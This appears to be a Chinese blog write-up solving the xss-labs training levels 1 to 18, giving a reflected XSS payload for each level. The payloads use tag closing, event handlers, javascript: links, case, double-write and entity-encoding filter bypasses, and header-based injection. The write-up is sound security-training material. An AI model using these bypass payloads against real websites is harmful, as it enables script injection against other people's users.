xss-labs

xss详解 xss(跨站攻击)_xss script-CSDN博客

level 1

看到GET传参name,直接输入js代码name=<script>alert("哈哈哈")</script>

level 2

尝试1题方法,没成功

查看页面源码,看到<>被替换成其他符号了,但是只有第一个进行了,第二个没有

可以提前闭合value和input标签,输入

"><script>alert("哈哈哈")</script>

level 3

多了个参数submit,且这里value是单引号闭合

和2题一样试试’><script>alert("哈哈哈")</script>,发现不行,查看源码发现单引号,<>依然被替换

可以运用事件触发xss

如' οnfοcus='alert(2)

onfocus 事件在对象获得焦点时发生。

在点击搜索框即可

level 4

和上一题一样,不过换成了双引号

“ οnfοcus=”alert(2)

level 5

试试上一题的方法,发现on被替换成了o_n

查看源码确实有替换,str_replace,不区分大小写,但是strtolower会转换为小写,所以不能用大小写绕过

换一个方法,这里用href标签创造一个超链接

"> <a href=javascript:alert()>2</a>

点击即可

level 6

过滤如下,但是没有strtolower函数,可以用大小写绕过

"> <a Href=javascript:alert()>2</a>

level 7

大小写绕过过滤了,可以用双写绕过

"> <a hhrefref=javascscriptript:alert()>2</a>

level 8

看到过滤了script等东西,还过滤了大小写和双引号

这题输入的值传到了input标签和href中

没法用“闭合,因为值传到href中了,考虑用已有的href注入,但是因为过滤了一些东西不能直接上传js代码,这里可以利用href会自动进行Unicode编码解码,可以将所上传的代码转为Unicode,再自动解码

上传这段代码即可

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level 9

比上一题多了条判断,上传的值必须有http://才行

在之前代码后加上http://再过滤掉即可

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;// http://

level 10

keyword参数只传到了输出的一句话中,没什么用,但是看到了隐藏参数,利用t_sort参数,考虑到过滤了<>不能闭合标签,这里用onfocus事件,同时加一个输入框type="text"来触发事件

?t_sort=" οnfοcus=javascript:alert() type="text

level 11

和上一题差不多

试试上一题的方法,发现双引号被替换没法闭合

再看看代码,发现有HTTP_REFERER,它是获取http请求中的Referer字段,也就是链接到当前网页的上一页,转包看看,没看到referer,构造referer:111,放包

发现转到t_ref中了

利用t_ref,因为过滤了<>,所以用onfocus事件,再做一个输入框触发事件

Referer:" οnfοcus="alert(1)" type="text

level 12

和上一题一样,这次是HTTP_USER_AGENT,获取User-Agent

抓包改为User-Agent:" οnfοcus="alert(1)" type="text

level 13

这题是cookie

抓包改为Cookie:user=" οnfοcus="alert(1)" type="text

level 14

网站挂了

代码就是个跳转网站

看网上说原来是利用跳转网站,传一个属性里含有xss代码的图片达到弹窗效果

level 15

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

试试之前的方法

?src=" οnfοcus="alert(1)" type="text 发现被替换,只能换别的方法

利用ng-include输入?src='./level1.php' 包含第一题试试

我们可以包涵第一关并让第一关弹窗,但是这里不能包涵那些直接弹窗的东西如<script>,可以包涵那些标签的东西比如<a>、<input>标签等等,这些标签是能需要我们手动点击弹窗的,这里我们使用href标签

?src='./level1.php?name=<a href="" οnfοcus="alert(1)">a</a>'

level 16

这题传的值会到<center>标签输出,考虑制造一个标签传入alert

考虑到本题过滤了/,所以要找一个不要/的标签

这里用<img>标签

输入?keword=<img%0Asrc="x"%0Aοnerrοr="alert(1)">

就是图片加载错误时触发onerror事件,因为有空格替换,所以将原来需要用到空格的地方换成%0A(换行)即可

level 17

htmlspecialchars()函数是一个常用的字符串处理函数,用于将字符串中的特殊字符(如<>等)转换为HTML实体

<embed> 标签定义了一个容器,用来嵌入外部应用或者互动程序(插件)。

他这里用了flash插件,但是很多浏览器不支持该插件,像我的就不行,找一个支持flash插件的浏览器,或者将代码中的embed标签里的src的地址改为index.png即可

因为加了html实体转换,特殊符号不能用,在embed标签中的位置也不需要闭合

将arg02改值即可

arg02= οnclick=alert(1)

level 18

和上一题一样,就是换了个swf文件

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值